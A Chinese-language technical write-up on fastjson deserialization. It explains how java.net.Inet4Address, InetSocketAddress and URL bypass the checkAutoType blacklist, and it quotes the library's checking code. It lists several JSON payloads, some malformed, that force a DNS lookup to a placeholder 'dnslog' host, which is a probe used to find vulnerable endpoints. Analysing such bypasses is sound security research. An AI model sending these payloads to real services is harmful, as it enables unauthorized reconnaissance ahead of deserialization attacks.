方法一:java.net.Inet[4|6]Address

以下两个类没有在黑名单中(v1.2.67),可以用来发送 dns 请求

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

fastjson 在进行反序列化的过程中会执行 checkAutoType 方法对类进行检查(主要通过黑 白名单机制),相关代码如下:

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
    ...
    Class clazz;
 
    // 1.当打开了 autoTypeSupport,类名又不在白名单时,则进行黑名单检查
    if (!internalWhite && (this.autoTypeSupport || expectClassFlag)) {
        hash = h3;
 
        for(mask = 3; mask < className.length(); ++mask) {
            hash ^= (long)className.charAt(mask);
            hash *= 1099511628211L;
            ....
            if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null && Arrays.binarySearch(this.acceptHashCodes, fullHash) < 0) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
    }
 
 
    clazz = TypeUtils.getClassFromMapping(typeName);
    if (clazz == null) {
        // 2. fastjson 的 ParserConfig 类自己维护了一个 IdentityHashMap,在这个 HashMap 中的类会被认为是安全的,会直接被返回
        clazz = this.deserializers.findClass(typeName);
    }
 
    if (clazz == null) {
        clazz = (Class)this.typeMapping.get(typeName);
    }
 
    if (internalWhite) {
        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
    }
 
    if (clazz != null) {
        if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        } else {
            // 3. 直接返回,不再走下面的 autoTypeSupport 和黑名单检查
            return clazz;
        }
    } else {
        // 4. 不开启 autoType 时进行的黑名单检查
        if (!this.autoTypeSupport) {
            hash = h3;
 
            for(mask = 3; mask < className.length(); ++mask) {
                char c = className.charAt(mask);
                hash ^= (long)c;
                hash *= 1099511628211L;
                if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
                ...
            }
        }
    }
    ...
}
Code Snippet 1: com.alibaba.fastjson.parser.ParserConfig#checkAutoType

由于 Inet4Address 类不在黑名单中,可以通过 1 处的的的黑名单检查,且它存在于 IdentityHashMap 类中,所以在 3 处直接 return,跳过 4 处的检查,所以无论是否开启 AutoType,都可以跳过 checkAutoType 检查

fastjason 对于 Inet4Address 类会使用 MiscCodec 这个 ObjectDeserializer 来反序列化。跟进 发现解析器会取出 val 字段的值赋值给 strVal 变量,并通过 InetAddress.getByName(strVal) 进行域名解析

方法二:java.net.InetSocketAddress

java.net.InetSocketAddress 类也在 IdentityHashMap 中,和方法一一样可以无视 checkAutoType,但是要执行 InetAddress.getByName() 需要跟着 json 的语法解析过程来构 造 payload

最终得到的畸形 payload 如下:

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

方法三:java.net.URL

java.net.URL 类也在 IdentityHashMap 中,同样无视 checkAutoType 检查

这个类的利用思路和 ysoserial 的 URLDNS 一样:向 HashMap 压入一个键值对时,HashMap 需要 获取 key 对象的 hashcode。当 key 对象是一个 URL 对象时,在获取它的 hashcode 期间会调用 getHostAddress 方法获取 host,这个过程域名会被解析

{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

fastjson 解析上述 payload 时,先反序列化出 URL(http://dnslog) 对象,然后将 {URL(http://dnslog):"x"} 解析为一个 HashMap,最终域名被解析

这个 payload 还有以下变体,原理都相同:

{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:0